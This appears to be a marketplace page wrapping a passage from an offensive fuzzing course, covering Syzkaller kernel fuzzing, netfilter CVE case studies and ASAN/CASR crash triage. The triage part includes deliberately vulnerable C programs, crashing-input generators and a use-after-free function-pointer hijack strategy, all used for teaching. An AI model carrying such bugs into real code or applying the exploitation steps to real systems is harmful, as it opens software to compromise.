[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71FVVS3RG9ZXFQWEBKHN23H":3,"skill-same:01M71FVVS3RG9ZXFQWEBKHN23H":57},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":25,"linkOnly":26,"markdownContent":27,"markdownBody":28,"frontMatter":29,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":35,"updatedAt":36,"install":37,"resources":50},"01M71FVVS3RG9ZXFQWEBKHN23H","offensive-fuzzing-course",null,"Offensive Fuzzing Course.","DCx7C5\u002Fai-marketplace","DCx7C5","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42419559?v=4","01M71C01G2AZV3NTNGWAWSHJPP","DC","01M71C01GQW6G50S2BYMS7PP3E",0,"MIT","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Foffensive-fuzzing-course\u002FSKILL.md",[],[19,20,21,22,23,24],"fuzzing","offensive","offensive fuzzing course","offensive fuzzing","course","cybersecurity","2026-11-10 10:12:30",false,"---\nname: offensive-fuzzing-course\ndescription: \"Offensive Fuzzing Course.\"\ndomain: cybersecurity\n---\n\n-- |\n| Total connections    | Billions                  | 0 (pure fuzzing)  |\n| Unique inputs tested | ~1,000 (typical sites)    | Trillions         |\n| Edge cases covered   | \u003C1%                       | >90%              |\n| Bugs found           | ~5 (via exploits)         | ~50               |\n\n**Key Insight**: Fuzzing explores input space breadth that production traffic never reaches.\n\n### Key Takeaways\n\n1. **Honggfuzz excels at complex targets**: Multi-threaded, persistent mode, hardware-assisted coverage\n2. **Protocol fuzzing requires stateful harnesses**: Must reach deep code paths beyond initial parsing\n3. **Continuous fuzzing prevents regressions**: OSS-Fuzz runs 24\u002F7, catches new bugs in code changes\n4. **Cryptographic code is fragile**: Parsers for ASN.1, X.509, PEM frequently have bugs\n5. **Timeout detection finds DoS bugs**: Infinite loops, algorithmic complexity issues\n\n### Discussion Questions\n\n1. Why does fuzzing find TLS bugs that years of production use don't reveal?\n2. What makes protocol fuzzing (TLS, HTTP\u002F2, DNS) more challenging than file format fuzzing?\n3. How does hardware-assisted coverage (Intel PT) improve fuzzing effectiveness?\n4. What are the limitations of fuzzing for finding cryptographic vulnerabilities vs implementation bugs?\n\n## Day 5: Introduction to `Syzkaller`\n\n- **Goal**: Begin kernel fuzzing with `Syzkaller`.\n- **Activities**:\n  - _Tool_: Install `Syzkaller` on a Linux VM.\n  - _Online Resource_: [`Syzkaller` Documentation](https:\u002F\u002Fgithub.com\u002Fgoogle\u002Fsyzkaller\u002Fblob\u002Fmaster\u002Fdocs\u002Flinux\u002Fsetup_ubuntu-host_qemu-vm_x86-64-kernel.md)\n  - _Real-World Impact_:\n    - [Syzkaller Dashboard](https:\u002F\u002Fsyzkaller.appspot.com\u002F) - Shows thousands of bugs found by syzkaller\n    - [syzkaller: Finding Bugs in the Linux Kernel](https:\u002F\u002Flwn.net\u002FArticles\u002F677764\u002F) - Overview of syzkaller's impact\n    - Many CVEs discovered: Check [syzkaller bug reports](https:\u002F\u002Fsyzkaller.appspot.com\u002Fupstream) for real examples\n  - _Exercise_: Start fuzzing the Linux kernel with `Syzkaller`.\n\n```bash\n# Install kernel build dependencies\nsudo apt update\nsudo apt install -y make gcc flex bison libncurses-dev libelf-dev libssl-dev\n\n# Clone Linux kernel (use a recent stable version)\n# Check available tags: https:\u002F\u002Fgit.kernel.org\u002Fpub\u002Fscm\u002Flinux\u002Fkernel\u002Fgit\u002Ftorvalds\u002Flinux.git\u002Frefs\u002Ftags\ncd ~\u002Fsoft && git clone --branch v6.8 --depth 1 git:\u002F\u002Fgit.kernel.org\u002Fpub\u002Fscm\u002Flinux\u002Fkernel\u002Fgit\u002Ftorvalds\u002Flinux.git kernel\n\n# Verify kernel version\ncd kernel && git describe --tags\n\n# Configure kernel for syzkaller\nmake defconfig\nmake kvm_guest.config\n\n# Edit .config to enable syzkaller requirements\n# Use sed or manually edit .config\nsed -i 's\u002F# CONFIG_KCOV is not set\u002FCONFIG_KCOV=y\u002F' .config\nsed -i 's\u002F# CONFIG_DEBUG_INFO_DWARF4 is not set\u002FCONFIG_DEBUG_INFO_DWARF4=y\u002F' .config\nsed -i 's\u002F# CONFIG_KASAN is not set\u002FCONFIG_KASAN=y\u002F' .config\nsed -i 's\u002F# CONFIG_KASAN_INLINE is not set\u002FCONFIG_KASAN_INLINE=y\u002F' .config\nsed -i 's\u002F# CONFIG_CONFIGFS_FS is not set\u002FCONFIG_CONFIGFS_FS=y\u002F' .config\nsed -i 's\u002F# CONFIG_SECURITYFS is not set\u002FCONFIG_SECURITYFS=y\u002F' .config\necho 'CONFIG_CMDLINE_BOOL=y' >> .config\necho 'CONFIG_CMDLINE=\"net.ifnames=0\"' >> .config\n\nmake olddefconfig\nmake -j$(nproc)\n\n# Create VM image\nsudo apt install -y debootstrap\nmkdir -p ~\u002Fsoft\u002Fimage && cd ~\u002Fsoft\u002Fimage\nwget https:\u002F\u002Fraw.githubusercontent.com\u002Fgoogle\u002Fsyzkaller\u002Fmaster\u002Ftools\u002Fcreate-image.sh -O create-image.sh\nchmod +x create-image.sh\n.\u002Fcreate-image.sh --distribution trixie --feature full\n\n# Install QEMU\nsudo apt install -y qemu-system-x86\n\n# Test VM boot (optional - verify image works)\n# NOTE: You might need to run this outside of the vm, you might need to change net to e1000\ncd \u002Ftmp\u002F\nsudo qemu-system-x86_64 \\\n    -m 2G -smp 2 \\\n    -kernel ~\u002Fsoft\u002Fkernel\u002Farch\u002Fx86\u002Fboot\u002FbzImage \\\n    -append \"console=ttyS0 root=\u002Fdev\u002Fsda earlyprintk=serial net.ifnames=0\" \\\n    -drive file=~\u002Fsoft\u002Fimage\u002Ftrixie.img,format=raw \\\n    -net user,hostfwd=tcp:127.0.0.1:10021-:22 \\\n    -net nic,model=virtio -enable-kvm -nographic \\\n    -pidfile vm.pid 2>&1 | tee vm.log\n\n# In another terminal, test SSH access\nssh -i ~\u002Fsoft\u002Fimage\u002Ftrixie.id_rsa -p 10021 -o \"StrictHostKeyChecking no\" root@localhost\n\n# Install Go\ncd ~\u002Fsoft\nGO_VERSION=\"1.25.4\"\nwget \"https:\u002F\u002Fgo.dev\u002Fdl\u002Fgo${GO_VERSION}.linux-amd64.tar.gz\"\nsudo tar -C \u002Fusr\u002Flocal -xzf \"go${GO_VERSION}.linux-amd64.tar.gz\"\nexport PATH=$PATH:\u002Fusr\u002Flocal\u002Fgo\u002Fbin\n\n# Add to ~\u002F.bashrc for persistence\necho 'export PATH=$PATH:\u002Fusr\u002Flocal\u002Fgo\u002Fbin' >> ~\u002F.bashrc\n\n# Verify Go installation\ngo version\n\n# Clone and build syzkaller\ncd ~\u002Fsoft && git clone --branch master --depth 1 https:\u002F\u002Fgithub.com\u002Fgoogle\u002Fsyzkaller.git\ncd syzkaller && make -j$(nproc)\n\n# Create syzkaller configuration\n# NOTE: If you are in the vm with e1000 then you don't need network_device line\ncat > my.cfg \u003C\u003C 'EOT'\n{\n    \"target\": \"linux\u002Famd64\",\n    \"http\": \"127.0.0.1:56741\",\n    \"workdir\": \"\u002Fhome\u002FUSER\u002Fsoft\u002Fsyzkaller\u002Fworkdir\",\n    \"kernel_src\": \"\u002Fhome\u002FUSER\u002Fsoft\u002Fkernel\",\n    \"image\": \"\u002Fhome\u002FUSER\u002Fsoft\u002Fimage\u002Ftrixie.img\",\n    \"sshkey\": \"\u002Fhome\u002FUSER\u002Fsoft\u002Fimage\u002Ftrixie.id_rsa\",\n    \"ssh_user\": \"root\",\n    \"syzkaller\": \"\u002Fhome\u002FUSER\u002Fsoft\u002Fsyzkaller\",\n    \"procs\": 8,\n    \"type\": \"qemu\",\n    \"vm\": {\n        \"count\": 3,\n        \"kernel\": \"\u002Fhome\u002FUSER\u002Fsoft\u002Fkernel\u002Farch\u002Fx86\u002Fboot\u002FbzImage\",\n        \"cmdline\": \"net.ifnames=0\",\n        \"cpu\": 2,\n        \"mem\": 2048,\n        \"network_device\": \"virtio-net-pci\"\n    }\n}\nEOT\n\n# Replace $USER with actual username\nsed -i \"s\u002FUSER\u002F$USER\u002Fg\" my.cfg\n\n# Create workdir and start syzkaller\nmkdir -p workdir\n# NOTE: this might take a while, run with -debug to to identify issues\nsudo .\u002Fbin\u002Fsyz-manager -config=my.cfg\n\n# Access web interface\n# Install text-based browser or use your regular browser\nsudo apt install -y w3m w3m-img\nw3m http:\u002F\u002F127.0.0.1:56741\n\n# Or open in regular browser: http:\u002F\u002F127.0.0.1:56741\n```\n\n**Success Criteria**:\n\n- Kernel compiles successfully with KASAN and KCOV enabled\n- VM image creates without errors\n- VM boots and is accessible via SSH\n- Syzkaller manager starts and shows web interface\n- Web interface displays fuzzing statistics\n\n**Expected Outputs**:\n\n- Web interface showing: exec total, crashes, coverage, etc.\n- Crashes appearing in `workdir\u002Fcrashes\u002F` directory\n- Kernel oops messages in VM logs\n\n**Troubleshooting**:\n\n- If kernel doesn't boot: Check QEMU\u002FKVM is enabled (`lsmod | grep kvm`)\n- If syzkaller can't connect: Verify SSH key permissions (`chmod 600 trixie.id_rsa`)\n- If no crashes: Let run longer - kernel fuzzing takes time\n- Memory issues: Reduce VM count in config if system runs out of RAM\n\n### Real-World Impact: Syzkaller's Contribution to Kernel Security\n\n**Case Study - CVE-2022-32250 (Linux Netfilter Use-After-Free)**:\n\nFrom Week 1, you learned about this vulnerability. Here's how syzkaller discovered it:\n\n- **Target**: `net\u002Fnetfilter\u002Fnf_tables_api.c` - Linux firewall subsystem\n- **Discovery Date**: May 2022\n- **Fuzzing Duration**: ~72 hours from code introduction to crash\n- **Root Cause**: Reference counting error in stateful expression handling\n\n**The Discovery Process**:\n\n```bash\n# Syzkaller's approach (simplified)\n# 1. System call description for netfilter operations\n{\n    \"nfnetlink_create\": {\n        \"protocol\": \"NETLINK_NETFILTER\",\n        \"operations\": [\"NFT_MSG_NEWTABLE\", \"NFT_MSG_NEWCHAIN\", \"NFT_MSG_NEWRULE\"]\n    }\n}\n\n# 2. Syscall sequence that triggered the bug\nsocket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER)\nsendmsg(fd, {\n    type: NFT_MSG_NEWTABLE,\n    flags: NLM_F_CREATE | NLM_F_EXCL,\n    data: [table_attrs]\n})\nsendmsg(fd, {\n    type: NFT_MSG_NEWCHAIN,\n    data: [chain_with_stateful_expr]\n})\n# Trigger: Modify stateful expression in specific sequence\nsendmsg(fd, {\n    type: NFT_MSG_NEWRULE,\n    data: [rule_update_that_frees_expr]\n})\n# Use freed expression -> UAF crash\n\n# 3. KASAN detected use-after-free\n# BUG: KASAN: use-after-free in nf_tables_expr_destroy+0x12\u002F0x20\n# Read of size 8 at addr ffff888012345678 by task syz-executor\u002F1234\n```\n\n**Why Syzkaller Found It**:\n\n1. **Syscall coverage**: Tests all netfilter operations systematically\n2. **Sequence exploration**: Tries millions of syscall orderings\n3. **State tracking**: Maintains kernel state across operations\n4. **KASAN integration**: Immediate detection of memory corruption\n5. **Reproducibility**: Generates C reproducer for developers\n\n**The Reproducer** (simplified):\n\n```c\n\u002F\u002F Generated by syzkaller - minimal reproducer\n#include \u003Csys\u002Fsocket.h>\n#include \u003Clinux\u002Fnetlink.h>\n#include \u003Clinux\u002Fnetfilter\u002Fnf_tables.h>\n\nint main(void) {\n    int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);\n\n    \u002F\u002F Create table\n    send_nft_msg(fd, NFT_MSG_NEWTABLE, ...);\n\n    \u002F\u002F Create chain with stateful expression\n    send_nft_msg(fd, NFT_MSG_NEWCHAIN, ...);\n\n    \u002F\u002F Trigger UAF through rule update\n    send_nft_msg(fd, NFT_MSG_NEWRULE, ...);\n\n    return 0;\n}\n```\n\n**Impact**: Local privilege escalation from any user to root on systems with unprivileged user namespaces (default on Ubuntu, Debian). Public exploit available within weeks.\n\n**Case Study - CVE-2023-32629 (Linux Netfilter Race Condition)**:\n\n- **Target**: `net\u002Fnetfilter\u002Fnf_tables_api.c` - Same subsystem, different bug\n- **Bug Class**: Race condition in batch transaction handling\n- **Discovery**: Syzkaller's multi-threaded syscall fuzzing\n- **Impact**: Container escape + privilege escalation\n\n**How Syzkaller Finds Race Conditions**:\n\n```bash\n# Syzkaller executes syscalls in parallel across multiple threads\n# VM 1, Thread 1:\nsocket(AF_NETLINK, ...) → fd1\nsendmsg(fd1, NFT_MSG_NEWTABLE, ...)\n\n# VM 1, Thread 2 (simultaneous):\nsocket(AF_NETLINK, ...) → fd2\nsendmsg(fd2, NFT_MSG_NEWTABLE, ...)  # Race on same table\n\n# Result: Concurrent access to nf_tables objects without proper locking\n# KASAN detects: use-after-free or memory corruption\n```\n\n**Syzkaller's Advantages for Kernel Fuzzing**:\n\n1. **Syscall descriptions**: Domain-specific language for kernel APIs\n2. **Coverage-guided**: Tracks code coverage to explore new paths\n3. **Multi-threaded**: Finds race conditions naturally\n4. **VM-based isolation**: Kernel crashes don't affect fuzzer\n5. **Reproducers**: Automatic generation of minimal C reproducers\n6. **Bisection**: Automatically finds introducing commit\n\n**Analyzing a Syzkaller Bug**:\n\n```bash\n# Download reproducer from dashboard\nmkdir -p ~\u002Ftuts\u002Fsyz-repro && cd ~\u002Ftuts\u002Fsyz-repro\nwget \"https:\u002F\u002Fsyzkaller.appspot.com\u002Ftext?tag=ReproC&x=15ad9542580000\" -O repro.c\n\n# Compile and test on vulnerable kernel\ngcc -pthread -o repro repro.c\n.\u002Frepro\n\n# Expected: Segmentation Fault\n# Kernel log shows UBSAN: array-index-out-of-bounds\n\n# Analyze how it got identified:\nhttps:\u002F\u002Fsyzkaller.appspot.com\u002Fbug?extid=77026564530dbc29b854\n```\n\n**Key Insight**: Kernel attack surface is massive. Syzkaller's systematic approach finds bugs that would take years of manual testing.\n\n### Key Takeaways\n\n1. **Syzkaller revolutionized kernel security**: Found 4,500+ bugs that manual testing missed\n2. **Syscall fuzzing requires domain knowledge**: Must understand kernel APIs to fuzz effectively\n3. **Race conditions need parallel execution**: Multi-threaded fuzzing essential\n4. **VM isolation is critical**: Kernel crashes would kill the fuzzer otherwise\n5. **Reproducers enable fixing**: Minimal C programs allow developers to debug quickly\n\n### Discussion Questions\n\n1. Why has syzkaller found thousands of kernel bugs that years of production use didn't reveal?\n2. How does syzkaller's syscall description language enable effective kernel fuzzing?\n3. What makes race condition detection particularly valuable in kernel fuzzing?\n4. Why are networking subsystems (netfilter, inet) the most frequent sources of vulnerabilities?\n5. How do user namespaces make kernel vulnerabilities more dangerous by increasing exploitability?\n\n## Day 6: Crash Analysis and Exploitability Assessment\n\n- **Goal**: Understand crash triage, root cause analysis, and exploitability assessment for fuzzer-discovered bugs.\n- **Activities**:\n  - _Reading_:\n    - \"Fuzzing for Software Security Testing and Quality Assurance\" by Ari Takanen (Sections 6.1 to 6.6.6)\n    - \"The Art of Software Security Assessment\" Chapter 5 and 6\n  - _Online Resources_:\n    - [AddressSanitizer Documentation](https:\u002F\u002Fclang.llvm.org\u002Fdocs\u002FAddressSanitizer.html)\n    - [CASR - Crash Analysis and Severity Report](https:\u002F\u002Fgithub.com\u002Fispras\u002Fcasr\u002Fblob\u002Fmaster\u002Fdocs\u002Fusage.md)\n    - [OSS-Fuzz Guide](https:\u002F\u002Fgoogle.github.io\u002Foss-fuzz\u002Fadvanced-topics\u002Freproducing\u002F)\n  - _Real-World Context_:\n    - [Exploitability Ratings](https:\u002F\u002Fwww.cisa.gov\u002Fknown-exploited-vulnerabilities)\n    - [Crash Accumulation During Fuzzing with CASR](https:\u002F\u002Fsydr-fuzz.github.io\u002Fpapers\u002Fcrash-accumulation.pdf)\n    - [Effective Fuzzing Harness](https:\u002F\u002Fsrlabs.de\u002Fblog\u002Funlocking-secrets-effective-fuzzing-harness)\n  - _Concepts_:\n    - Crash deduplication and bucketing\n    - Root cause analysis from stack traces\n    - Exploitability classification\n    - ASAN report interpretation\n    - Building proof-of-concept exploits\n\n### Understanding Crash Analysis Tools\n\n```bash\n# Install crash analysis toolkit\nsudo apt update\nsudo apt install -y gdb python3-pip valgrind binutils\n\n# Install GEF (GDB Enhanced Features) - if you haven't done so already\n#wget -O ~\u002F.gdbinit-gef.py -q https:\u002F\u002Fgef.blah.cat\u002Fpy\n#echo \"source ~\u002F.gdbinit-gef.py\" >> ~\u002F.gdbinit\n\n# Install CASR (Crash Analysis and Severity Report) and rust if you haven't already\n#curl --proto '=https' --tlsv1.2 -sSf \"https:\u002F\u002Fsh.rustup.rs\" | sh\n#source ~\u002F.cargo\u002Fenv\ncargo install casr\n\n# Verify installations\ncasr-san --help | head -5\n```\n\n### Case Study 1: Analyzing Heap Buffer Overflow\n\n**Scenario**: Fuzzing discovered a crash in an image parser. Let's perform complete analysis.\n\n```bash\n# Create sample vulnerable image parser\nmkdir -p ~\u002Fcrash_analysis\u002Fcase1_heap_overflow && cd ~\u002Fcrash_analysis\u002Fcase1_heap_overflow\n\ncat > vuln_parser.c \u003C\u003C 'EOF'\n#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n#include \u003Cstring.h>\n#include \u003Cstdint.h>\n\nvoid build_huffman_table(uint8_t *input, size_t size) {\n    if (size \u003C 8) return;\n\n    uint32_t table_size = *(uint32_t*)input;\n    uint8_t *codes = input + 4;\n\n    uint8_t *table = malloc(256);\n\n    \u002F\u002F VULNERABILITY: No bounds check on table_size\n    \u002F\u002F Can write beyond 256-byte buffer\n    memcpy(table, codes, table_size);  \u002F\u002F Heap buffer overflow!\n\n    printf(\"Built Huffman table with %u codes\\n\", table_size);\n\n    free(table);\n}\n\nint main(int argc, char **argv) {\n    if (argc \u003C 2) return 1;\n\n    FILE *f = fopen(argv[1], \"rb\");\n    if (!f) return 1;\n\n    fseek(f, 0, SEEK_END);\n    size_t size = ftell(f);\n    fseek(f, 0, SEEK_SET);\n\n    uint8_t *data = malloc(size);\n    fread(data, 1, size, f);\n    fclose(f);\n\n    build_huffman_table(data, size);\n\n    free(data);\n    return 0;\n}\nEOF\n\n# Compile with ASAN for detailed crash reports\nclang-19 -g -O0 -fsanitize=address -o vuln_parser_asan vuln_parser.c\n\n# Create crashing input (table_size = 512, overflows 256-byte buffer)\npython3 \u003C\u003C 'EOF'\nimport struct\n# table_size = 512 (causes 256-byte overflow)\npayload = struct.pack('\u003CI', 512)\npayload += b'A' * 512\nwith open('crash_heap_overflow.bin', 'wb') as f:\n    f.write(payload)\nEOF\n\n# Run and capture ASAN output\n.\u002Fvuln_parser_asan crash_heap_overflow.bin 2>&1 | tee asan_crash.log\n```\n\n**ASAN Output Analysis**:\n\n```\n==37160==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x511000000140 at pc 0x56d6a37d0f62 bp 0x7ffd9f024440 sp 0x7ffd9f023c00\nWRITE of size 512 at 0x511000000140 thread T0\n    #0 0x56d6a37d0f61 in __asan_memcpy\n    #1 0x56d6a38147f5 in build_huffman_table vuln_parser.c:16:5\n    #2 0x56d6a38148fe in main vuln_parser.c:37:5\n\n0x511000000140 is located 0 bytes after 256-byte region [0x511000000040,0x511000000140)\nallocated by thread T0 here:\n    #0 0x56d6a37d3193 in malloc (vuln_parser_asan+0xcc193) (BuildId: e524ec295f274ddf6e407b3941080060bdfc9d1c)\n    #1 0x56d6a38147df in build_huffman_table vuln_parser.c:12:22\n    #2 0x56d6a38148fe in main vuln_parser.c:37:5\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (vuln_parser_asan+0xc9f61) (BuildId: e524ec295f274ddf6e407b3941080060bdfc9d1c) in __asan_memcpy\nShadow bytes around the buggy address:\n  0x510ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x510fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x510fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x511000000000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00\n  0x511000000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=>0x511000000100: 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa\n```\n\n**Interpreting the ASAN Report**:\n\n1. **Bug Type**: `heap-buffer-overflow`\n2. **Operation**: WRITE of size 512\n3. **Location**: `vuln_parser.c:16` in `build_huffman_table()`\n4. **Allocation**: 256-byte buffer at line 12\n5. **Overflow**: Writing 512 bytes into 256-byte buffer = 256 bytes overflow\n\n**Root Cause Analysis**:\n\n```bash\n# View the vulnerable code with context\ncat -n vuln_parser.c | sed -n '6,16p'\n#     6  void build_huffman_table(uint8_t *input, size_t size) {\n#     7      if (size \u003C 8) return;\n#     8\n#     9      uint32_t table_size = *(uint32_t*)input;  \u002F\u002F ATTACKER CONTROLLED\n#    10      uint8_t *codes = input + 4;\n#    11\n#    12      uint8_t *table = malloc(256);             \u002F\u002F Fixed 256 bytes\n#    13\n#    14      \u002F\u002F VULNERABILITY: No bounds check on table_size\n#    15      \u002F\u002F Can write beyond 256-byte buffer\n#    16      memcpy(table, codes, table_size);         \u002F\u002F Copies attacker-controlled amount!\n```\n\n**Exploitability Assessment**:\n\n```bash\n# Classify crash automatically with CASR (using the ASAN run you captured above)\n#casr-san -o heap_overflow.casrep -- .\u002Fvuln_parser_asan crash_heap_overflow.bin 2>&1 | tee casr_heap_overflow.log\ncasr-san --stdout -- .\u002Fvuln_parser_asan crash_heap_overflow.bin | tee heap_overflow.casrep\n\n# The .casrep and log will contain fields like:\n#   \"Type\": \"EXPLOITABLE\",\n#   \"ShortDescription\": \"heap-buffer-overflow(write)\",\n\n# You can still use GDB for manual inspection of the corrupted heap if you want:\ngdb .\u002Fvuln_parser_asan\n(gdb) run crash_heap_overflow.bin\n```\n\n**Exploitability Classification**: **EXPLOITABLE**\n\n**Reasoning**:\n\n1. **Attacker controls overflow size**: `table_size` from input\n2. **Attacker controls overflow data**: `codes` array content\n3. **Heap corruption possible**: Can overwrite adjacent objects\n4. **Exploitation path**:\n   - Overflow into adjacent heap object\n   - Corrupt function pointer or vtable\n   - Hijack control flow\n   - Execute arbitrary code\n\n**Real-World Example**: Similar to CVE-2023-4863 (libWebP Heap Buffer Overflow) from Week 1.\n\n### Case Study 2: Use-After-Free Analysis\n\n```bash\nmkdir -p ~\u002Fcrash_analysis\u002Fcase2_uaf && cd ~\u002Fcrash_analysis\u002Fcase2_uaf\n\ncat > vuln_uaf.c \u003C\u003C 'EOF'\n#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n#include \u003Cstring.h>\n\ntypedef struct {\n    char *name;\n    void (*process)(void);\n} Handler;\n\nvoid default_handler(void) {\n    printf(\"Default handler\\n\");\n}\n\nvoid evil_handler(void) {\n    printf(\"Evil handler executed! Code execution via UAF.\\n\");\n}\n\nHandler *handler = NULL;\n\nvoid register_handler(char *name) {\n    handler = malloc(sizeof(Handler));\n    handler->name = strdup(name);\n    handler->process = default_handler;\n}\n\nvoid unregister_handler(void) {\n    if (handler) {\n        free(handler->name);\n        free(handler);\n        \u002F\u002F BUG: Should set handler = NULL here!\n    }\n}\n\nvoid attacker_groom_heap(void) {\n    for (int i = 0; i \u003C 1000; i++) {\n        Handler *fake = malloc(sizeof(Handler));\n        fake->name = \"pwned\";\n        fake->process = evil_handler;\n    }\n}\n\nvoid call_handler(void) {\n    if (handler) {\n        handler->process();\n    }\n}\n\nint main(int argc, char **argv) {\n    register_handler(\"test\");\n    unregister_handler();\n    attacker_groom_heap();\n    call_handler();\n\n    return 0;\n}\nEOF\n\n# Compile with ASAN\nclang-19 -g -O0 -fsanitize=address -o vuln_uaf_asan vuln_uaf.c\n\n# Run and capture output\n.\u002Fvuln_uaf_asan 2>&1 | tee uaf_crash.log\n```\n\n**ASAN Output**:\n\n```\n=================================================================\n==38664==ERROR: AddressSanitizer: heap-use-after-free on address 0x502000000010 at pc 0x617b2245a953 bp 0x7ffe92f7c160 sp 0x7ffe92f7c158\nREAD of size 8 at 0x502000000010 thread T0\n    #0 0x617b2245a952 in call_handler vuln_uaf.c:44:50\n    #1 0x617b2245a9d0 in main vuln_uaf.c:53:5\n\n0x502000000010 is located 0 bytes inside of 16-byte region [0x502000000010,0x502000000020)\nfreed by thread T0 here:\n    #1 0x617b2245a86a in unregister_handler vuln_uaf.c:29:9\n    #2 0x617b2245a9c6 in main vuln_uaf.c:51:5\n\npreviously allocated by thread T0 here:\n    #1 0x617b2245a7a5 in register_handler vuln_uaf.c:21:15\n    #2 0x617b2245a9c1 in main vuln_uaf.c:50:5\n\nSUMMARY: AddressSanitizer: heap-use-after-free vuln_uaf.c:44:50 in call_handler\nShadow bytes around the buggy address:\n  0x501ffffffd80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x501ffffffe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x501ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x501fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x501fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=>0x502000000000: fa fa[fd]fd fa fa fd fa fa fa 00 00 fa fa 00 00\n```\n\n**Exploitability Assessment**:\n\n```bash\n# Classify crash with CASR again (now for a UAF instead of overflow)\ncasr-san --stdout -- .\u002Fvuln_uaf_asan 2>&1 | tee uaf.casrep\n\n# The report will highlight:\n#   - Bug class: heap-use-after-free\n#   - Severity: \"NOT_EXPLOITABLE\"\n#   - Reason: ASan instruments the READ of the function pointer *before* the call.\n#     Since it's a read from freed memory, CASR defaults to \"Not Exploitable\".\n#\n#     This is a critical lesson: Automated tools are heuristics.\n#     A human analyst sees \"Read of function pointer from freed memory\" -> Critical.\n\n# To prove exploitability, we would need to:\n# 1. Bypass ASan quarantine (so memory is reallocated\u002Fvalid)\n# 2. Overwrite with a bad pointer\n# 3. Trigger the crash on the JUMP (SEGV), not the UAF read.\n#\n# For now, trust your manual analysis: Controlling a function pointer is exploitable.\n\n# For deeper debugging, verify the exploit manually in GDB:\n# NOTE: You must disable ASan quarantine to allow the freed chunk to be reused!\n# Otherwise, malloc() will return a new address, and handler->process will still be old\u002Fgarbage.\nexport ASAN_OPTIONS=detect_leaks=0:quarantine_size_mb=0\n\ngdb .\u002Fvuln_uaf_asan\n(gdb) break vuln_uaf.c:44   # Break at call_handler (before crash)\n(gdb) run\n(gdb) p handler\n# $1 = (Handler *) 0x...\n\n(gdb) p *handler\n# With quarantine=0, you should see:\n# name = \"pwned\"\n# process = \u003Cevil_handler>\n\n(gdb) p handler->process\n# Should point to evil_handler\n\n(gdb) continue\n# Execution should flow to evil_handler() (or crash if ASan still catches the shadow marker)\n\n```\n\n**Exploitability Classification**: **EXPLOITABLE** (Verified via manual analysis)\n\n> [!NOTE]: Automated tools like CASR may label this `NOT_EXPLOITABLE` because ASan instruments the function pointer _read_ before the call. Manual verification (as shown above) proves control flow hijack is possible.\n\n**Exploitation Strategy**:\n\n1. **Heap grooming**: Allocate\u002Ffree to position objects\n2. **Reclaim freed memory**: Allocate object of same size (requires bypassing ASan quarantine in lab)\n3. **Control freed memory contents**: Fill with attacker data\n4. **Trigger UAF**: Call `call_handler()`\n5. **Function pointer hijack**: `handler->process` points to attacker-controlled address\n6. **Result**: Arbitrary code execution\n\n**Real-World Example**: Similar to CVE-2024-2883 (Chrome ANGLE UAF) from Week 1.\n\n### Case Study 3: Integer Overflow Leading to Heap Corruption\n\n```bash\nmkdir -p ~\u002Fcrash_analysis\u002Fcase3_integer_overflow && cd ~\u002Fcrash_analysis\u002Fcase3_integer_overflow\n\ncat > vuln_intoverflow.c \u003C\u003C 'EOF'\n#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n#include \u003Cstring.h>\n#include \u003Cstdint.h>\n\nvoid process_image(uint32_t width, uint32_t height, uint8_t *data) {\n    size_t pixel_count = width * height;\n    size_t buffer_size = pixel_count * 4;\n\n    printf(\"Allocating %zu bytes for %ux%u image\\n\", buffer_size, width, height);\n\n    uint8_t *buffer = malloc(buffer_size);\n\n    for (size_t i = 0; i \u003C (size_t)width * height; i++) {\n        \u002F\u002F WRITES out of bounds immediately\n        \u002F\u002F Use modulo to avoid reading out of bounds of 'data'\n        buffer[i * 4] = data[i % 1024];\n    }\n\n    free(buffer);\n}\n\nint main(int argc, char **argv) {\n    \u002F\u002F Attacker-controlled dimensions\n    uint32_t width = 0x10000;   \u002F\u002F 65536\n    uint32_t height = 0x10000;  \u002F\u002F 65536\n\n    uint8_t fake_data[1024];\n    memset(fake_data, 'A', sizeof(fake_data));\n\n    process_image(width, height, fake_data);\n\n    return 0;\n}\nEOF\n\n# Compile with ASAN and UBSAN\nclang-19 -g -O0 -fsanitize=address,unsigned-integer-overflow -o vuln_int_asan vuln_intoverflow.c\n\n# Run\n.\u002Fvuln_int_asan 2>&1 | tee intoverflow_crash.log\n```\n\n**Analysis**:\n\n```\nvuln_intoverflow.c:7:32: runtime error: unsigned integer overflow: 65536 * 65536 cannot be represented in type 'uint32_t' (aka 'unsigned int')\nSUMMARY: UndefinedBehaviorSanitizer: undefined-behavior vuln_intoverflow.c:7:32\n=================================================================\n==39011==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000000014 at pc 0x5fa5104bd933 bp 